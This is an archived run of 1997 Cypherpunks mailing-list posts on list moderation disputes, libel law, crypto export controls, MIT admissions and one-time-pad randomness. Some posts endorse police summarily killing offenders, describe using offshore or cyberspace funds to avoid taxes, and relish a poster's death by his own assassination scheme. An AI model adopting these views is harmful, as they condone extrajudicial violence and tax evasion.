> This is the stuff Sandy would presumably dump into
> his "not fit for True Cypherpunks" pile, except that he wrote it, and so it
> is by definition approved.

It was not approved for the moderated list.  I sent my comments to the 
flames list where they belonged.  (It went to the unedited list too, 
but that's fair game as well.)  Sorry you didn't understand that.

> And I urge our Enlightened Leader to take his own medicine. Stop flaming
> the list and calling it mere commentary.

So let me see if I've got this, this list should be open to all flamers 
EXCEPT me?  Curious.  At any rate, I am going to take anonymous' advice.  
I will largely refrain from addressing any of the garbage that ends up on 
the flame and spam lists.  You guys are mostly just talking to yourselves 
anyway.  

Toodles,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:20:53 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701290344.TAA03473@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970129111502.30306B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, jim bell wrote:

> At 07:33 AM 1/28/97 -0500, aga wrote:
> >On Mon, 27 Jan 1997, jim bell wrote:
> >
> >> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:
> 
> >> >These postings do not prove that libel is a crime. It is because libel
> >> >is not a crime. Libel is a tort, and unlike with crime, the government
> >> >cannot initiate a legal action against someone for libel. Only injured
> >> >(libeled) individuals and not the government can sue in a libel case.
> >> 
> >> On the contrary, in some jurisdictions libel is indeed a crime. However, 
> >> that doesn't mean that prosecutions happen anymore, but the laws are (in 
> >> some places) still  on the books.
> 
> >
> >Jim, either you are full of shit or that Law is VERY
> >unconstitutional.  The first amendment prohibits any Criminal Laws
> >from being made against libel.
> 
> You'd think that, wouldn't you?  Yes, I agree that those laws are 
> unconstitutional, but so is about 90+% of what the Federal government does 
> today.  Sigh.
> 
> Criminal libel statutes are apparently (in the US, at least) a holdover from 
> an earlier era in which government took the place of King George, and wanted 
> the power to punish people who were too outspoken.  The fact that they are 
> "never" (?) used anymore is presumably a reflection of their 
> unconstitutionality.  Criminal libel statues should also be considered 
> unconstitutional because they give way too much leeway to the prosecutor to 
> decide whom to prosecute.  His friends will never be charged, but his 
> enemies will.
> 
> One obvious problem with the LACK of a criminal libel statute, from the 
> standpoint of the "government-controlling-class," or "the bigshots," is that 
> it's impossible to sue (and collect from) a (comparatively) poor person for 
> defaming him...but it's still possible to put him in jail.  Civil libel is, 
> therefore, essentially useless to a government agent as a means of keeping 
> the masses in line.  
> 
> 
> Myself, I believe that libel should be eliminated as a cause of action in 
> civil cases as well as it has, de facto, in the criminal area.  If anything, 
> the ability to sue for libel makes things worse:  There is an illusion that 
> this is easy and straightforward, if not economical.  It is neither.  The 
> result is that people are actually MORE likely to believe a printed 
> falsehood because they incorrectly assume that if it wasn't true, it 
> couldn't be printed.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 

Interesting analysis here, but remember; libel is just one kind of
"defamation" and an action for defamation will always be actionable.

The constitution gives us the right to call the President a
motherfucker any time we want to, and it also gives the motherfucker
the right to sue.  Sueing is better than fighting in the streets.

This is the SLOWEST I have ever seen Telnet, today.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:25:05 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701290507.XAA02510@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970129112308.30306C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Igor Chudov @ home wrote:

> [Cc to Dr. John Martin Grubor, Law Systems Institute]
> 
> Jim Choate wrote:
> > 
> > It has been asserted by at least one member that the 1st Amendment protects
> > libelous or other defamatory speech. 
> 
> [I would appreciate if people with better knowledge of law correct me]
> 
> I doubt that anyone made this assertion. What Greg Broiles and Dr.
> Grubor asserted was that because of the first amendment, the government
> can not initiate an action in a libel case. Which means that libel is
> not a crime. There may be some old statutes that declare libel a crime, 
> as Greg noted, but they are not enforceable because of the first amendment.
> 
> Suits can be brought by private individuals though.
> 
> The government, even if it is defamed, cannot sue a private person 
> for libel. For example, I can say that Congress regularly molests
> small children, and they will not be able to do anything about me.
> 
> > This is hokem. The 1st most certainly does not protect lies in any form. It
>                                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > protects opinion, this is distinctly different then stating a untruth about
> > some party or distribution of material with the attributation to them
> > without their permission.
> 
> Not exactly. 
> 
> I can lie as much as I want about the government. No one would be
> able to prosecute me. These particular lies are protected, contrary
> to what you state.
> 
> The law does not protect ALL opinions, as well.
> 
> > No civilized society can exist that permits lies and other defamations of
> > character and expect to survive for any length of time. Simply for no other
> > reason than contracts and other such instruments would not be worth the
> > paper they were printed on. Let alone any laws or other issuances from the
> > government itself.
> 
> You are mixing in totally unrelated things, Jim. Enforcement of contracts
> has nothing to do with freedom of speech. For example, if you borrow $100
> from me and fail to return your debt in time, this is an issue of contract
> law and not of free speech.
> 
> Contract law is not about speech, it is about promises.
> 
> > 				ARTICLE I. 
> >  
> > 	Congress shall make no law respecting an establishment of religion, 
> > or prohibiting the free exercise thereof; or abridging the freedom of 
> > speech, or of the press; or the right of the people peaceably to assemble, 
> > and to petition the Government for a redress of grievances. 
> >  
> >  
> > Where in there do you see a right to lie, cheat, or steal? If it did, it
> > would be a lie because it would not protect the very freedom it says it is.
> 
> Do you think that all rights should be found in the first amendment?
> What does the right to steal have to do with what we are talking about?
> 
> I suggest reading "The Fourth Estate and the Constitution: Freedom
> of the Press in America", by Lucas a Powe, Jr.
> 
> As for stealing and cheating in contracts, read any textbook on business
> law for business students. It is very useful to read this stuff, by the
> way.
> 
> Not that these books give one a complete picture on law, but they
> are very informative.
> 
> 	- Igor.
> 

Most business Law is covered by the UCC (Uniform Commercial Code)

And business Law really has nothing to do with libel, which is just a
tort.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 29 Jan 1997 08:31:35 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EEDAB6.51A6@gte.net>
Message-ID: <Pine.LNX.3.95.970129112620.30306D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> aga wrote:
> > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > aga wrote:
> > > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > > Igor Chudov @ home wrote:
> > > > > > Dale Thorn wrote:
> > >
> > > > > But seriously, I was just telling the folks over the weekend, if I
> > > > > had my hand on the button, a lot of people would die very quickly.
> > > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > > suffice to be immediately terminated.
> > 
> > No trial, huh?
> 
> Good question.  The law we have right now already assumes that there
> are situations where a criminal will not go peacefully, if at all.
> In some countries (years ago?) such as England, bobbies were known
> to not carry firearms for ordinary street duty.  Am I right?  But
> here in the USA, that would be unthinkable.
> 
> So my proposal doesn't eliminate the responsibility portion of law
> enforcement.  I'd say, if a target were eliminated thru negligence,
> malfeasance, or other wrongdoing under "color of law" or whatever,
> let the courts handle that as they do now.
> 

Just who is doing the eliminating?

> My suggestion would give the law enforcers the ability to dispense
> the first level of justice expeditiously, which they cannot accomplish
> now due to all of the red tape and the corrupt legal system (lawyers
> specialize in getting chronic offenders off, particularly "traffic"
> offenses).  By transferring a major portion of the bureaucracy to
> the pencil pushers, we can free up the street cops to do what they
> do best, namely bust or eliminate criminals.
> 

Cops can never be trusted to "dispense justice," and half of the
cops are themselves criminals in what they do.  Most cops steal
evidence and lie like crazy in Court.  All they want is a conviction,
and it mattters not how it is obtained.

> I dare say that the downside of this is much less pleasant than the
> virtual anarchy (in the bad sense) we suffer now.  If the police get
> out of control, A.P. will arrive just in time to plug a few of those
> holes, so to speak.  Ideally, future robotics should be able to
> provide something like Gort (sp?) to take the place of human officers,
> given advances in the kind of pattern matching needed to deter
> aggression and the like.  Those who don't make it past the robots,
> well, the rest of us can learn to behave, and we'll be much better
> off when we do.
> 

I would trust robots more than humanoids.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: f_estema@alcor.concordia.ca
Date: Wed, 29 Jan 1997 10:38:00 -0800 (PST)
To: Dan Geer <geer@OpenMarket.com>
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291545.KAA02713@waterville.openmarket.com>
Message-ID: <Pine.OSF.3.91.970129111058.7566D-100000@alcor.concordia.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 29 Jan 1997, Dan Geer wrote:

> Export controls are meaningless without domestic use restrictions and
> domestic use restrictions will never pass the test of the First
> Amendment.  <snip>

Just because something is unconstitutional doesn't mean that learned 
judicial appointees will find it unconstitutional. When domestic GAK is 
passed, it will be structured to fit into the judicial philosophy of the day.
This is under the same philosophy that says television shows are not 
speech, but rather a commercial enterprise. If the courts were first 
amendments absolutists, like the persons on these two lists, there would 
be no problem seeing porn on primetime TV. There would also be no V-chip law.

When they manage to get the political conscensus, they will pass it. 

Incidentally, I remind you of the results of the moot court that was held 
at one of the CFP conferences, where a GAK case was tried in front of 
real federal judges by real lawyers. Our side lost.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 29 Jan 1997 08:36:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <3.0.32.19970129113544.00999840@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:45 AM 1/29/97 +0100, Anonymous (Xanthar) wrote:
>Most intelligent people apply to several schools, knowing that
>admissions practices are subject to the vagaries of reality.

If you are implying that I was not intelligent enough to apply to more than
one school, then you are mistaken.  MIT was the *only* school out of the
six I applied to (including CMU, CalTech, GaTech) that turned me down.

>My guess is that "other factors" were involved. 

I'm sure that was probably true.  I'm just saying that I doubt the
admissions process is as Financial-Aid-blind as they would have us believe.

>MIT offered me a substantial economic aid package, in the form of loans,
>grants, and various campus jobs. What does this tell you?

It tells me that you're a better man than I, I guess.  I'm sorry if I sound
bitter, but one does not work for a goal for over a decade of his life, get
rejected for it, and then just "forget it".  Anyone who tells you otherwise
needs to see a therapist.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Don't have awk? Use this simple sh emulation:
    #!/bin/sh
    echo 'Awk bailing out!' >&2
    exit 2





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 29 Jan 1997 08:40:50 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: FBI=LIE
Message-ID: <199701291637.LAA07929@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html
Login cypherpunks, password cypherpunks.

WASHINGTON -- For decades the FBI's reputation as a crime-fighting
agency has rested heavily on its high-tech forensic laboratory, which
could solve baffling crimes from a speck of blood, a sliver of paint
or the thinnest filament of human hair.

            But an investigation by the Justice Department's inspector
general has put the FBI laboratory, and the way the agency has
used it, under the glare of public scrutiny. The findings, which were
turned over to FBI officials last week, are threatening to shatter the
image of an agency on the cutting edge of scientific sleuthing. 

[...]



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 29 Jan 1997 08:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cats Out of Bags
Message-ID: <3.0.1.32.19970129120149.0196e448@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the industry's view that the U.S. efforts to control cryptographic technology are being outstripped by the pace of the technology. 

"When I talk to other governments," he said, "they still don't feel that the cat is out of the bag." 

What the fuck do *they* know?

DCF
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2gg8Mc01l4E=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syntel <syntelsi@ix.netcom.com>
Date: Wed, 29 Jan 1997 09:15:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: exporting stego
Message-ID: <32EF84A5.2211@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Just a quickie,
Does the present ITAR / DoC regulations cover the export of Steganography programs?
thanks
Steveo




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 29 Jan 1997 09:19:46 -0800 (PST)
To: Declan McCullagh <stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701291642.IAA05043@toad.com>
Message-ID: <3.0.1.32.19970129122157.019fefe8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:53 AM 1/29/97 -0500, Declan McCullagh wrote:
>I disagree. Where does this money "escape" to? Do you spend it on rent,
>pizza, a new stereo? Hmm... These are all meatspace transactions and can
>be taxed.

Money that escapes into Cyberspace just remains there in much the same way that money that escapes offshore today just stays there.  It is not usually repatriated.

Offshore funds accumulate offshore and earn interest and dividends there.  If the onshore owners need their offshore money they do not, repeat do not, repatriate it.  They borrow it instead and pay it back with (deductible) interest expatriating more money.  The same practice can be followed in cyberspace.

Stateless funds (whether Offshore or in Cyberspace) can be used to:

1)	Pay salaries
2)	Make loans
3)	Buy digital goods and services (telecoms, entertainment, etc.)
4)	Pay school fees
5)	Pay for travel
6)	Pay for mail order goods (customs duties will fade)

Individuals can also easily support their lifestyles with Offshore or Cyberspace funds by using stateless credit cards and taking cash from ATM machines using stateless ATM cards.

You can certainly use offshore or cyberspacial funds to pay the rent on your flat in Montreux overlooking Lake Geneva and not too many taxes will be applied to that transaction.

Accumulating vast wealth (even if it is only represented as bits) can be very fun as well.

DCF
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n9cXvTMlF8A=
=mnFh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 10:30:17 -0800 (PST)
To: Ed Falk <falk@Eng.Sun.COM>
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291740.JAA23726@peregrine.eng.sun.com>
Message-ID: <32EFB24D.46C2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:

> Toto wrote:
> >   I just ran out of asswipe.

> I suspect that this crack will *benefit* RSADSI, and the rest of the
> crypto community

Ed,
 You're not 'outing' me, are you?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 13:50:53 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <01BC0E04.F54F6350@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Rich Graves <rcgraves@disposable.com> wrote in article <5cnvpf$jeu@life.ai.mit.edu>...
> Hallam-Baker wrote:
> > 
> > One point I had forgotten. The demonstration took place
> > on the 50th anniversary of Kristallnacht. This is one explanation
> > as to why the border guards did not attempt to open fire with
> > firearms or attempt to break up the demonstration with tear gas.
> 
> I think the timing was a coincidence. (And I'm told that Kristallnacht 
> wasn't well advertised in East Germany; especially after the Soviets 
> sided the United Arab Republic, the official story was that Hitler had 
> been exterminating good Communists, not Jews.) 

This differs from my information. In point of fact the Nazis _did_
exterminate communists. At the time of Kristalnacht it was the communists
who were the more direct target because they had places in the
Riechstag. It was by imprisoning the communist deputies that the
Nazis were able to take power and pass the enabling act.

Portraying the Nazis as uniquely persecuting Jews is simply not
supported by the facts. The Jews were the largest group of those
persecuted but not the only group. Gypsies had less support in
other countries. Other groups were persecuted for opposition rather
than who they were but the numbers of murders were still large.
This is one reason why the Catholic church established a convent
inside Aushwitz where it is estimated that about a quarter of a 
million Catholics were murdered. Quite what one is then to make
of appeasement by the Papacy at the time is beyond me... I don't
think it points to any great moral or spiritual stand.

> They gave him a gun and put him on the front, where he waved to his 
> friends as they walked across the border.
> 
> I think a lot of the border guards were like Thomas.

Shades of Machiavelli's description of the mercenaries union in the
1500s. Basically you could hire yourself an army but they weren't
keen on there being much killing.

> Yeah, yeah. Economics has something to do with it. But I think it comes 
> down to "Sure, I'll carry a gun, and I'll go where you tell me to go, 
> but I will not hurt anyone." Ideas matter.

Absolutely!

	Phill  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 13:52:36 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <01BC0E04.F8BCC4B0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <nobody@REPLAY.COM> wrote in article <5cndl2$89k@life.ai.mit.edu>...


> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 

Inevitably since the admissions tutors would not have known the means of 
the parents. Thats the whole idea of "needs blind" admissions. 

The admissions people could not give a damn about means. The alumni
that are most likely to make donnations are those who made it from
scratch in any case.

> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."

Possible but remember that dyslexia is not an indicator of intelligence.
The director of the Media Lab is dyslexic.


Certainly if you think that being taught in a particular operating system is
important you should probably try elsewhere. Depending on which classes 
you take you could end up using UNIX, Windows or Genera. The main 
advantage of UNIX is that it is reasonably compact and we have full
sources which means that people can be set operating system projects.
Windows NT is much too large for that although it does have many 
interesting APIs that make it usefull for teaching application level stuff.
I would imagine that there will be people interested in NextStep for
Apple too, Tim-B-L was always a Next person, but he learnt how
to use it because he had an open mind. If he had thought that nothing could
be better than what he had already he would still be using CERN-VM.

If someone can't cope with an unfamilliar O/S they probably shouldn't be
an engineer at all. An O/S is only one large software system a grad
needs to deal with. They have short lifetimes, rarely being dominant for 
more than a decade.

	Phill  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 13:05:17 -0800 (PST)
To: hallam@ai.mit.edu (Hallam-Baker)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701291946.OAA05417@muesli.ai.mit.edu>
Message-ID: <199701292009.OAA02501@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hallam-Baker wrote:
> 
> 
> I think that with the demise of Mr Bell and anyone running
> a remailer there would be an end to his scheme pretty quickly.
> 
> Society is not bound to put up with cranks and psychopaths.
> there is no right to anonymously call for murder. The authorities
> could easily stop Bells scheme.
> 
> The point I was making is that it is not consistent as claimed.
> 

Why, death of Jim Bell from his own murder machine is a very exciting, I
would say a very Kafkian thing to happen. I am looking forward to it. I
even think that Jim Bell would not oppose such an outcome that much,
since his assination bot would be such an important invention for the
humanity. Maybe it will reverse the course of world history!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 29 Jan 1997 11:46:33 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701291841.NAA25341@life.ai.mit.edu>
Message-ID: <199701291946.OAA05417@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think that with the demise of Mr Bell and anyone running
a remailer there would be an end to his scheme pretty quickly.

Society is not bound to put up with cranks and psychopaths.
there is no right to anonymously call for murder. The authorities
could easily stop Bells scheme.

The point I was making is that it is not consistent as claimed.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Wed, 29 Jan 1997 14:45:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: News report RE:RSA Data Security Conference, pointer
Message-ID: <l03010d01af1584953141@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


Report on RSA data security conference. Mentions 'Legislation in Congress
could ban mandatory key storage', anyone know what they're referring to?

http://www.news.com/News/Item/0,4,7437,00.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 30 Jan 1997 07:56:08 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: OTP security
Message-ID: <854638719.107050.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> 1.You've got 16 hardware devices that each generate random noise.
> 2.One of the devices fails (or is sabotaged) and emits a predictable stream
> (10101...)
> 3.The other 15 devices are just fine, and the stream generated by one
> device does not effect the stream of another.
> 4.You do not know of the (failure/sabotage) until *after* you've generated
> your encyrted documents and they are out of your hands.
> 
> So the revamped question is:
> How secure are those documents now?

Bottom line:

You have lost some possible decryptions of the cyphertext. Every 16th 
bit is now determined therefore each 2nd byte has only 128 possible 
states. This, rather suprisingly, does not seem to affect the 
security (though I would say this is a flawed conclusion as we have a 
pile of sand problem here, how many grains make a pile, how many rngs 
can be flawed before the security is affected?) I really haven`t had 
the time to look at it properly, I will do so in the near future as 
it seems to be an interesting problem...

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Wed, 29 Jan 1997 12:11:40 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Physician, Heal Thyself!
In-Reply-To: <Pine.SUN.3.91.970129110243.12086Q-100000@crl.crl.com>
Message-ID: <Pine.SOL.3.93.970129151004.670A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 29 Jan 1997, Sandy Sandfort wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Wed, 29 Jan 1997, Anonymous wrote:
> 
> > This is the stuff Sandy would presumably dump into
> > his "not fit for True Cypherpunks" pile, except that he wrote it, and so it
> > is by definition approved.
> 
> It was not approved for the moderated list.  I sent my comments to the 
> flames list where they belonged.  (It went to the unedited list too, 
> but that's fair game as well.)  Sorry you didn't understand that.
> 
> > And I urge our Enlightened Leader to take his own medicine. Stop flaming
> > the list and calling it mere commentary.
> 
> So let me see if I've got this, this list should be open to all flamers 
> EXCEPT me?  Curious.  At any rate, I am going to take anonymous' advice.  
> I will largely refrain from addressing any of the garbage that ends up on 
> the flame and spam lists.  You guys are mostly just talking to yourselves 
> anyway.  

	So how would you define a flame???  Seems more REASONABLE minds
	want to know????

> 
> Toodles,
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 30 Jan 1997 08:01:08 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854638718.107051.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > The list has been disentigrating for some time since the disgusting 
> > incident when Dimitri was forcibly unsubscribed from the list. 
> 
> I'm curious about the gratuitous use of the word "forcibly" by
> Paul.  Does this mean Gilmore took a fire axe to the computer or
> something?  Dimitri was unsubscribed.  It was done more or less
> against his will.  ("More or less" because he in effect said to
> John, "bet you can't stop me.")  What does "forcibly" add to this
> discussion besides melodrama?  No force was required.  John had
> the right and ability to pull the plug on Dimitri.  "No animals
> were harmed in the making of this film."  "Force," my ass.

If you can honestly say you think that Dimitri agreed to his being 
unsubscribed and not being allowed to re-subscribe then I concede the 
point, however, you cannot argue this.

> > have also been a number of postings from members of the list claiming 
> > to understand anarchism who support censorship to "protect new 
> > members of the list".
> 
> There are various definitions of "censorship" and various flavors
> of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
> to believe that any form of moderation is censorship.  I think
> that enforcing standards of decorum on a private, voluntary list
> are not censorship.  Reasonable minds may differ.  I acknowledge 
> that Paul's interpretations are not without some justification.
> (I just think they are incorrect in the instant case.)  Paul, on
> the other hand, seems to be a True Believer.  He brooks no view
> other than his own.  (Curiously hypocritical under the 
> circumstrances.)

My point is not that moderating a private forum is censorship, this 
is not supposed to be a private forum (if at any point John chooses 
to make it so that is his right as the list is his property, however, 
he professes, at least in a collective sense along with the other 
list founders, that it is a free and anarchic list where people would 
not be prevented from posting whatever they want, censorship in this 
context (call it moderation of you like) seems to me out of place)).
  
> > So, there would be no intellectual dishonesty in a country claiming 
> > to be a free and open society "trying out" fascism for a month or 
> > two? - After all it`s a private country just as this is a private 
> > list....
> 
> Paul's sophistry is showing.  Nation-states are entities that
> exercise a monopoly on the use of force (real force, Paul)
> within (and often without) their boundries.  Mail lists are far
> more like private homes, businesses or clubs.  When you are a
> guest there, you are subject to their rules of behavior.

The list is indeed a private forum and I resent the term sophistry. 
My interpretation of the lists original purpose and idealogy is 
clearly different from your own so we are arguing the wrong point.
My interpretation is that the list was supposed to act as a community 
as much as a forum and is therefore erring to the side of a nation 
state as opposed to private property, even though, when we come down 
to it it is someones property..


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: exporting stego
In-Reply-To: <32EF84A5.2211@ix.netcom.com>
Message-ID: <mg8a2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[I've been taking my equipment apart and rearranging it, hence the silence]
Syntel <syntelsi@ix.netcom.com> writes:

> Just a quickie,
> Does the present ITAR / DoC regulations cover the export of Steganography pro
> thanks
> Steveo

EAR covers all security software, including even virus checkers.

Of course the gubmint is irrelevant and should be soundly ignored.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 13:47:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701291805.KAA29363@mailmasher.com>
Message-ID: <6k8a2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> At 10:46 AM 1/29/1997, Declan McCullagh wrote:
> > * Many 1st Amendment experts don't believe in the legal concept of
> > libel.  It is, they say, a rich man's game -- if I'm libeled by the
> > NYT, I'm probably not going t be able to sue them, but Donald Trump
> > can. Moreover, if I don't have the resources to sue but the
> > statement is libelous, it creates a *presumption* in the minds of
> > the readers that the article is certainly true. (If it were not, I
> > would have sued, right?)
> 
> The wealthy also use libel suits to suppress dissent.  Greg's point
> that poor people aren't worth suing is only true if the motivation is
> financial.  Often it is not.  Conveniently, many of those whose
> silence is desired are among the petty bourgeouis and have a net worth
> of roughly $50,000.  Enough to make the suit appear legitimate, but
> not enough to allow the target to brush off the legal fees, if they
> win the case.
> 
> Consider also the artificial distinction between private and public
> figures.  It is easier for a private figure to sue for libel.  Yet,
> the most influential people in the country are private figures.
> Reporters must tread very carefully when covering the activities of
> these people.  Thus, we hear little of them.
> 
> It would be interesting to know when libel law was first introduced to
> the United States.  Does anybody know?
> 
> John Peter Zenger

Libel laws were inherited from good old England together with most of common
law.  When I was studying con law, I remember the very interesting precedent
establishing that truth is a defense in a libel suit. Anyone remember the name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 29 Jan 1997 13:11:48 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP Key Preview...
In-Reply-To: <199701291511.HAA03682@toad.com>
Message-ID: <199701291514.PAA11456@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701291511.HAA03682@toad.com>, on 01/29/97 at 07:28 AM,
   harka@nycmetro.com said:



>Hi there,

